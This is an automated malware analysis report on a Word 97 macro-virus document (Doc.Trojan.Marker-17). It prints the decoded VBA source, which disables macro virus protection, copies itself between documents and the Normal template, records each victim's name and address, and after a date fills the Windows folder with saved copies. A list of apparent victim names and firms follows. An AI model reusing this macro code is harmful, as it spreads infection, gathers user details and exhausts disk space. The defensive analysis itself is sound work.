Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf636aaa054f6b95…

MALICIOUS

Office (OLE)

51.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-24
MD5: 6d981d6076d0b06db1ede0169e311380 SHA-1: 255d2e49b6db26740ad87d8b44639c27672ddbec SHA-256: bf636aaa054f6b95617389068144fcd67a78b3fb279bc94e0fde0b9bded308e0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1546.001 Event Triggered Execution: Scheduled Task

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings for VBA macro virus replication and AV tampering. The VBA macros detected within the document are designed to disable macro protection and self-replicate, suggesting an attempt to spread or evade security measures. The presence of these self-replication capabilities points towards a malicious document designed for propagation.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-17 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-17
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
          Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38734 bytes
SHA-256: 824bb2e4cad84c6ea036d586f81d8337f63f34d171c692a8e4370814a4dd87e2
Detection
ClamAV: Doc.Trojan.Marker-17
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' Ditry PC
' DP
'
' 1/5/2000 4:09:31 PM
'
' Ditry PC
' DP
'
' 1/5/2000 4:09:13 PM
'
' ICD
' I
'
' 16/11/1999 10:51:00 AM
'
' ICD
' I
'
' 15/11/1999 09:46:41 AM
'
' ICD
' I
'
' 14/11/1999 04:40:38 PM
'
' ICD
' I
'
' 13/11/1999 07:37:27 PM
'
' ICD
' I
'
' 13/11/1999 10:43:45 AM
'
' ICD
' I
'
' 12/11/1999 05:11:57 PM
'
' ICD
' I
'
' 12/11/1999 03:20:56 PM
'
' ICD
' I
'
' 12/11/1999 03:20:06 PM
'
' ICD
' I
'
' 12/11/1999 03:16:31 PM
'
' ICD
' I
'
' 12/11/1999 03:08:22 PM
'
' ICD
' I
'
' 12/11/1999 03:07:37 PM
'
' ICD
' I
'
' 12/11/1999 11:55:46 AM
'
' ICD
' I
'
' 12/11/1999 07:27:16 AM
'
' ICD
' I
'
' 11/11/1999 05:21:41 PM
'
' ICD
' I
'
' 11/11/1999 04:50:14 PM
'
' ICD
' I
'
' 11/11/1999 03:17:50 PM
'
' ICD
' I
'
' 11/11/1999 02:00:06 PM
'
' ICD
' I
'
' 11/11/1999 12:07:03 PM
'
' Jose Luis Restrepo
' JLR
'
' 10/11/1999 04:38:20 PM
'
' Jose Luis Restrepo
' JLR
'
' 10/11/1999 03:07:39 PM
'
' ECOPETROL
' E
'
' 11/10/1999 02:36:26 PM
'
' Muriel Cecilia Berbesí
' MCB
'
' 29/10/1999 03:46:50 PM
'
' Muriel Berbesi
' MCB
'
' 28/10/1999 08:52:59 AM
'
' Muriel Berbesi
' MCB
'
' 28/10/1999 08:48:08 AM
'
' GAS NATURAL
' GN
'
' 26/10/1999 06:29:42 PM
'
' proyecto sap natural
' sapn
'
' 26/10/1999 06:26:28 PM
'
' proyecto sap natural
' sapn
'
' 22/10/1999 08:21:08 PM
'
' proyecto sap natural
' sapn
'
' 22/10/1999 07:15:24 PM
'
' proyecto sap natural
' sapn
'
' 22/10/1999 07:14:58 PM
'
' proyecto sap natural
' sapn
'
' 22/10/1999 09:21:49 AM
'
' proyecto sap natural
' sapn
'
' 20/10/1999 06:23:18 PM
'
' proyecto sap natural
' sapn
'
' 20/10/1999 06:21:02 PM
'
' proyecto sap natural
' sapn
'
' 20/10/1999 06:19:41 PM
'
' proyecto sap natural
' sapn
'
' 19/10/1999 07:32:46 PM
'
' proyecto sap natural
' sapn
'
' 15/10/1999 10:52:35 PM
'
' proyecto sap natural
' sapn
'
' 15/10/1999 12:06:06 PM
'
' proyecto sap natural
' sapn
'
' 14/10/1999 09:01:56 PM
'
' proyecto sap natural
' sapn
'
' 14/10/1999 10:40:08 AM
'
' proyecto sap natural
' sapn
'
' 14/10/1999 08:38:33 AM
'
' proyecto sap natural
' sapn
'
' 14/10/1999 08:36:56 AM
'
' proyecto sap natural
' sapn
'
' 14/10/1999 08:36:24 AM
'
' proyecto sap natural
' sapn
'
' 14/10/1999 08:34:10 AM
'
' proyecto sap natural
' sapn
'
' 12/10/1999 10:36:29 AM
'
' proyecto sap natural
' sapn
'
' 11/10/1999 08:25:45 AM
'
' proyecto sap natural
' sapn
'
' 9/10/1999 05:20:17 PM
'
' proyecto sap natural
' sapn
'
' 8/10/1999 08:54:44 PM
'
' proyecto sap natural
' sapn
'
' 8/10/1999 11:45:04 AM
'
' proyecto sap natural
' sapn
'
' 8/10/1999 10:25:17 AM
'
' Gas Natural S.A.,E.S.P.
' GNS
'
' 8/10/1999 08:46:04 AM
'
' Gas Natural S.A.,E.S.P.
' GNS
'
' 29/09/1999 08:27:32 PM
'
' Gas Natural S.A.,E.S.P.
' GNS
'
' 27/09/1999 02:55:04 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 24/09/1999 05:48:12 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 24/09/1999 12:33:23 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 24/09/1999 08:26:26 AM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 21/09/1999 03:00:13 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 17/09/1999 02:23:31 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 17/09/1999 08:44:12 AM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 16/09/1999 04:21:15 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 15/09/1999 05:07:11 PM
'
' GAS NATURAL S.A. ESP
' GNSE
'
' 15/09/1999 01:18:40 PM
'
' Gas Natural E.S.P.
' GNE
'
' 15/09/1999 11:54:09 AM
'
' Gas Natural E.S.P.
' GNE
'
' 15/09/1999 08:56:53 AM
'
' Gas Natural E.S.P.
' GNE
'
' 15/09/1999 07:49:03 AM
'
' Gas Natural E.S.P.
' GNE
'
' 14/09/1999 07:32:49 PM
'
' Gas Natural E.S.P.
' GNE
'
' 14/09/1999 09:06:58 AM
'
' Gas Natural E.S.P.
' GNE
'
' 14/09/1999 07:13:54 AM
'
' Gas Natural E.S.P.
' GNE
'
' 13/09/1999 03:46:53 PM
'
' Gas Natural E.S.P.
' GNE
'
' 13/09/1999 02:42:51 PM
'
' Gas Natural E.S.P.
' GNE
'
' 13/09/1999 01:12:36 PM
'
' Gas Natural E.S.P.
' GNE
'
' 13/09/1999 06:42:34 AM
'
' Gas Natural E.S.P.
' GNE
'
' 11/09/1999 12:49:32 PM
'
' Gas Natural E.S.P.
' GNE
'
' 10/09/1999 06:37:09 PM
'
' Gas Natural E.S.P.
' GNE
'
' 10/09/1999 03:57:12 PM
'
' Gas Natural E.S.P.
' GNE
'
' 10/09/1999 12:55:49 PM
'
' Gas Natural E.S.P.
' GNE
'
' 10/09/1999 12:36:26 PM
'
' Gas Natural E.S.P.
' GNE
'
' 10/09/1999 12:24:13 PM
'
' Gas Natural E.S.P.
' GNE
'
' 10/09/1999 08:06:32 AM
'
' Gas Natural E.S.P.
' GNE
'
' 9/09/1999 08:03:05 PM
'
' Gas Natural E.S.P.
' GNE
'
' 9/09/1999 07:45:41 PM
'
' Gas Natural E.S.P.
' GNE
'
' 9/09/1999 08:03:19 AM
'
' Gas Natural E.S.P.
' GNE
'
' 9/09/1999 06:43:38 AM
'
' Gas Natural E.S.P.
' GNE
'
' 8/09/1999 04:04:36 PM
'
' Gas Natural E.S.P.
' GNE
'
' 8/09/1999 07:55:24 AM
'
' Gas Natural E.S.P.
' GNE
'
' 8/09/1999 07:51:52 AM
'
' COMPAQ
' C
'
' 7/09/1999 11:38:58 AM
'
' COMPAQ
' C
'
' 6/09/1999 03:09:00 PM
'
' COMPAQ
' C
'
' 6/09/1999 11:27:49 AM
'
' COMPAQ
' C
'
' 3/09/1999 03:58:05 PM
'
' COMPAQ
' C
'
' 3/09/1999 03:48:39 PM
'
' COMPAQ
' C
'
' 3/09/1999 02:35:46 PM
'
' GAS NATURAL
' GN
'
' 3/09/1999 12:57:38 PM
'
' GAS NATURAL
' GN
'
' 3/09/1999 11:51:42 AM
'
' GAS NATURAL
' GN
'
' 3/09/1999 09:50:25 AM
'
' GAS NATURAL
' GN
'
' 3/09/1999 09:50:09 AM
'
' GAS NATURAL
' GN
'
' 3/09/1999 09:49:46 AM
'
Private Sub Document_Close()
  
  On Error Resume Next
  If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
      Const exi = "la macro de colombia"
      Dim DInfec, planinfec As Boolean
      Dim Docu, Plan As Object
      Dim modulin, contemodu, Ninfec As String
      Dim Nume As Integer
      Dim Copform As Object
   
      Set Docu = ActiveDocument.VBProject.VBComponents.Item(1)
      Set Plan = NormalTemplate.VBProject.VBComponents.Item(1)
      
      SaveDoc = ActiveDocument.Saved
      Saveplan = NormalTemplate.Saved
   
      DInfec = Docu.codemodule.Find(exi, 1, 1, 40000, 40000)
      Plainfec = Plan.codemodule.Find(exi, 1, 1, 40000, 40000)

      Ninfec = "'" & " " & Application.UserName & Chr(13) & "'" & " " & Application.UserInitials & Chr(13) & "'" & " " & Application.UserAddress & Chr(13) & "'" & " " & Now() & Chr(13) & "'" & " "
      
      Options.VirusProtection = False
   
      Nume = Mid(Int(Rnd() * 10), 1, 1)
      Nume = Nume
      nume1 = 7
      If Nume = nume1 Or Plainfec = False Then
         
         If DInfec = True And Plainfec = False Then
            Docu.codemodule.addfromstring Ninfec
            contemodu = Docu.codemodule.Lines(1, Docu.codemodule.CountOfLines)
            Plan.codemodule.addfromstring contemodu
         End If

         If DInfec = False And Plainfec = True Then
            Plan.codemodule.addfromstring Ninfec
            contemodu = Plan.codemodule.Lines(1, Plan.codemodule.CountOfLines)
            Docu.codemodule.addfromstring contemodu
         End If
         
         
      
         If SaveDoc = True Then ThisDocument.Save
         If SaveDoc = True Then NormalTemplate.Save
      End If
  End If
    sd = Day(Now()) & "-" & Month(Now()) & "-" & Year(Now())
  sd = Trim(sd)
  If Year(Now()) >= 2000 And Month(Now()) > 6 Then
    ChangeFileOpenDirectory "C:\Windows\"
    For i = 1 To 999999991
        ActiveDocument.SaveAs FileName:=("AA" & i & "AA.DOC"), FileFormat:= _
        wdFormatDocument, LockComments:=False, Password:="", AddToRecentFiles:= _
        True, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:= _
        False, SaveNativePictureFormat:=False, SaveFormsData:=False, _
        SaveAsAOCELetter:=False
    Next
  End If

End Sub






















' Processing file: /opt/analyzer/scan_staging/57449001efd745feb8713b492776ed08.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 20404 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0009 " Ditry PC"
' Line #1:
' 	QuoteRem 0x0000 0x0003 " DP"
' Line #2:
' 	QuoteRem 0x0000 0x0000 ""
' Line #3:
' 	QuoteRem 0x0000 0x0014 " 1/5/2000 4:09:31 PM"
' Line #4:
' 	QuoteRem 0x0000 0x0000 ""
' Line #5:
' 	QuoteRem 0x0000 0x0009 " Ditry PC"
' Line #6:
' 	QuoteRem 0x0000 0x0003 " DP"
' Line #7:
' 	QuoteRem 0x0000 0x0000 ""
' Line #8:
' 	QuoteRem 0x0000 0x0014 " 1/5/2000 4:09:13 PM"
' Line #9:
' 	QuoteRem 0x0000 0x0000 ""
' Line #10:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #11:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #12:
' 	QuoteRem 0x0000 0x0000 ""
' Line #13:
' 	QuoteRem 0x0000 0x0017 " 16/11/1999 10:51:00 AM"
' Line #14:
' 	QuoteRem 0x0000 0x0000 ""
' Line #15:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #16:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #17:
' 	QuoteRem 0x0000 0x0000 ""
' Line #18:
' 	QuoteRem 0x0000 0x0017 " 15/11/1999 09:46:41 AM"
' Line #19:
' 	QuoteRem 0x0000 0x0000 ""
' Line #20:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #21:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #22:
' 	QuoteRem 0x0000 0x0000 ""
' Line #23:
' 	QuoteRem 0x0000 0x0017 " 14/11/1999 04:40:38 PM"
' Line #24:
' 	QuoteRem 0x0000 0x0000 ""
' Line #25:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #26:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #27:
' 	QuoteRem 0x0000 0x0000 ""
' Line #28:
' 	QuoteRem 0x0000 0x0017 " 13/11/1999 07:37:27 PM"
' Line #29:
' 	QuoteRem 0x0000 0x0000 ""
' Line #30:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #31:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #32:
' 	QuoteRem 0x0000 0x0000 ""
' Line #33:
' 	QuoteRem 0x0000 0x0017 " 13/11/1999 10:43:45 AM"
' Line #34:
' 	QuoteRem 0x0000 0x0000 ""
' Line #35:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #36:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #37:
' 	QuoteRem 0x0000 0x0000 ""
' Line #38:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 05:11:57 PM"
' Line #39:
' 	QuoteRem 0x0000 0x0000 ""
' Line #40:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #41:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #42:
' 	QuoteRem 0x0000 0x0000 ""
' Line #43:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 03:20:56 PM"
' Line #44:
' 	QuoteRem 0x0000 0x0000 ""
' Line #45:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #46:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #47:
' 	QuoteRem 0x0000 0x0000 ""
' Line #48:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 03:20:06 PM"
' Line #49:
' 	QuoteRem 0x0000 0x0000 ""
' Line #50:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #51:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #52:
' 	QuoteRem 0x0000 0x0000 ""
' Line #53:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 03:16:31 PM"
' Line #54:
' 	QuoteRem 0x0000 0x0000 ""
' Line #55:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #56:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #57:
' 	QuoteRem 0x0000 0x0000 ""
' Line #58:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 03:08:22 PM"
' Line #59:
' 	QuoteRem 0x0000 0x0000 ""
' Line #60:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #61:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #62:
' 	QuoteRem 0x0000 0x0000 ""
' Line #63:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 03:07:37 PM"
' Line #64:
' 	QuoteRem 0x0000 0x0000 ""
' Line #65:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #66:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #67:
' 	QuoteRem 0x0000 0x0000 ""
' Line #68:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 11:55:46 AM"
' Line #69:
' 	QuoteRem 0x0000 0x0000 ""
' Line #70:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #71:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #72:
' 	QuoteRem 0x0000 0x0000 ""
' Line #73:
' 	QuoteRem 0x0000 0x0017 " 12/11/1999 07:27:16 AM"
' Line #74:
' 	QuoteRem 0x0000 0x0000 ""
' Line #75:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #76:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #77:
' 	QuoteRem 0x0000 0x0000 ""
' Line #78:
' 	QuoteRem 0x0000 0x0017 " 11/11/1999 05:21:41 PM"
' Line #79:
' 	QuoteRem 0x0000 0x0000 ""
' Line #80:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #81:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #82:
' 	QuoteRem 0x0000 0x0000 ""
' Line #83:
' 	QuoteRem 0x0000 0x0017 " 11/11/1999 04:50:14 PM"
' Line #84:
' 	QuoteRem 0x0000 0x0000 ""
' Line #85:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #86:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #87:
' 	QuoteRem 0x0000 0x0000 ""
' Line #88:
' 	QuoteRem 0x0000 0x0017 " 11/11/1999 03:17:50 PM"
' Line #89:
' 	QuoteRem 0x0000 0x0000 ""
' Line #90:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #91:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #92:
' 	QuoteRem 0x0000 0x0000 ""
' Line #93:
' 	QuoteRem 0x0000 0x0017 " 11/11/1999 02:00:06 PM"
' Line #94:
' 	QuoteRem 0x0000 0x0000 ""
' Line #95:
' 	QuoteRem 0x0000 0x0004 " ICD"
' Line #96:
' 	QuoteRem 0x0000 0x0002 " I"
' Line #97:
' 	QuoteRem 0x0000 0x0000 ""
' Line #98:
' 	QuoteRem 0x0000 0x0017 " 11/11/1999 12:07:03 PM"
' Line #99:
' 	QuoteRem 0x0000 0x0000 ""
' Line #100:
' 	QuoteRem 0x0000 0x0013 " Jose Luis Restrepo"
' Line #101:
' 	QuoteRem 0x0000 0x0004 " JLR"
' Line #102:
' 	QuoteRem 0x0000 0x0000 ""
' Line #103:
' 	QuoteRem 0x0000 0x0017 " 10/11/1999 04:38:20 PM"
' Line #104:
' 	QuoteRem 0x0000 0x0000 ""
' Line #105:
' 	QuoteRem 0x0000 0x0013 " Jose Luis Restrepo"
' Line #106:
' 	QuoteRem 0x0000 0x0004 " JLR"
' Line #107:
' 	QuoteRem 0x0000 0x0000 ""
' Line #108:
' 	QuoteRem 0x0000 0x0017 " 10/11/1999 03:07:39 PM"
' Line #109:
' 	QuoteRem 0x0000 0x0000 ""
' Line #110:
' 	QuoteRem 0x0000 0x000A " ECOPETROL"
' Line #111:
' 	QuoteRem 0x0000 0x0002 " E"
' Line #112:
' 	QuoteRem 0x0000 0x0000 ""
' Line #113:
' 	QuoteRem 0x0000 0x0017 " 11/10/1999 02:36:26 PM"
' Line #114:
' 	QuoteRem 0x0000 0x0000 ""
' Line #115:
' 	QuoteRem 0x0000 0x0017 " Muriel Cecilia Berbesí"
' Line #116:
' 	QuoteRem 0x0000 0x0004 " MCB"
' Line #117:
' 	QuoteRem 0x0000 0x0000 ""
' Line #118:
' 	QuoteRem 0x0000 0x0017 " 29/10/1999 03:46:50 PM"
' Line #119:
' 	QuoteRem 0x0000 0x0000 ""
' Line #120:
' 	QuoteRem 0x0000 0x000F " Muriel Berbesi"
' Line #121:
' 	QuoteRem 0x0000 0x0004 " MCB"
' Line #122:
' 	QuoteRem 0x0000 0x0000 ""
' Line #123:
' 	QuoteRem 0x0000 0x0017 " 28/10/1999 08:52:59 AM"
' Line #124:
' 	QuoteRem 0x0000 0x0000 ""
' Line #125:
' 	QuoteRem 0x0000 0x000F " Muriel Berbesi"
' Line #126:
' 	QuoteRem 0x0000 0x0004 " MCB"
' Line #127:
' 	QuoteRem 0x0000 0x0000 ""
' Line #128:
' 	QuoteRem 0x0000 0x0017 " 28/10/1999 08:48:08 AM"
' Line #129:
' 	QuoteRem 0x0000 0x0000 ""
' Line #130:
' 	QuoteRem 0x0000 0x000C " GAS NATURAL"
' Line #131:
' 	QuoteRem 0x0000 0x0003 " GN"
' Line #132:
' 	QuoteRem 0x0000 0x0000 ""
' Line #133:
' 	QuoteRem 0x0000 0x0017 " 26/10/1999 06:29:42 PM"
' Line #134:
' 	QuoteRem 0x0000 0x0000 ""
' Line #135:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #136:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #137:
' 	QuoteRem 0x0000 0x0000 ""
' Line #138:
' 	QuoteRem 0x0000 0x0017 " 26/10/1999 06:26:28 PM"
' Line #139:
' 	QuoteRem 0x0000 0x0000 ""
' Line #140:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #141:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #142:
' 	QuoteRem 0x0000 0x0000 ""
' Line #143:
' 	QuoteRem 0x0000 0x0017 " 22/10/1999 08:21:08 PM"
' Line #144:
' 	QuoteRem 0x0000 0x0000 ""
' Line #145:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #146:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #147:
' 	QuoteRem 0x0000 0x0000 ""
' Line #148:
' 	QuoteRem 0x0000 0x0017 " 22/10/1999 07:15:24 PM"
' Line #149:
' 	QuoteRem 0x0000 0x0000 ""
' Line #150:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #151:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #152:
' 	QuoteRem 0x0000 0x0000 ""
' Line #153:
' 	QuoteRem 0x0000 0x0017 " 22/10/1999 07:14:58 PM"
' Line #154:
' 	QuoteRem 0x0000 0x0000 ""
' Line #155:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #156:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #157:
' 	QuoteRem 0x0000 0x0000 ""
' Line #158:
' 	QuoteRem 0x0000 0x0017 " 22/10/1999 09:21:49 AM"
' Line #159:
' 	QuoteRem 0x0000 0x0000 ""
' Line #160:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #161:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #162:
' 	QuoteRem 0x0000 0x0000 ""
' Line #163:
' 	QuoteRem 0x0000 0x0017 " 20/10/1999 06:23:18 PM"
' Line #164:
' 	QuoteRem 0x0000 0x0000 ""
' Line #165:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #166:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #167:
' 	QuoteRem 0x0000 0x0000 ""
' Line #168:
' 	QuoteRem 0x0000 0x0017 " 20/10/1999 06:21:02 PM"
' Line #169:
' 	QuoteRem 0x0000 0x0000 ""
' Line #170:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #171:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #172:
' 	QuoteRem 0x0000 0x0000 ""
' Line #173:
' 	QuoteRem 0x0000 0x0017 " 20/10/1999 06:19:41 PM"
' Line #174:
' 	QuoteRem 0x0000 0x0000 ""
' Line #175:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #176:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #177:
' 	QuoteRem 0x0000 0x0000 ""
' Line #178:
' 	QuoteRem 0x0000 0x0017 " 19/10/1999 07:32:46 PM"
' Line #179:
' 	QuoteRem 0x0000 0x0000 ""
' Line #180:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #181:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #182:
' 	QuoteRem 0x0000 0x0000 ""
' Line #183:
' 	QuoteRem 0x0000 0x0017 " 15/10/1999 10:52:35 PM"
' Line #184:
' 	QuoteRem 0x0000 0x0000 ""
' Line #185:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #186:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #187:
' 	QuoteRem 0x0000 0x0000 ""
' Line #188:
' 	QuoteRem 0x0000 0x0017 " 15/10/1999 12:06:06 PM"
' Line #189:
' 	QuoteRem 0x0000 0x0000 ""
' Line #190:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #191:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #192:
' 	QuoteRem 0x0000 0x0000 ""
' Line #193:
' 	QuoteRem 0x0000 0x0017 " 14/10/1999 09:01:56 PM"
' Line #194:
' 	QuoteRem 0x0000 0x0000 ""
' Line #195:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #196:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #197:
' 	QuoteRem 0x0000 0x0000 ""
' Line #198:
' 	QuoteRem 0x0000 0x0017 " 14/10/1999 10:40:08 AM"
' Line #199:
' 	QuoteRem 0x0000 0x0000 ""
' Line #200:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #201:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #202:
' 	QuoteRem 0x0000 0x0000 ""
' Line #203:
' 	QuoteRem 0x0000 0x0017 " 14/10/1999 08:38:33 AM"
' Line #204:
' 	QuoteRem 0x0000 0x0000 ""
' Line #205:
' 	QuoteRem 0x0000 0x0015 " proyecto sap natural"
' Line #206:
' 	QuoteRem 0x0000 0x0005 " sapn"
' Line #207:
' 	QuoteRem 0x0000 0x0000 ""
' Line #208:
' 	QuoteRem 0x0000 0x0017 " 14/10/1999 08:36:56 AM"
' Line #209:
' 	QuoteRem 0x0000 0x0000 ""
' Line #210:
…

Open this report in the interactive analyzer, or submit your own file for analysis.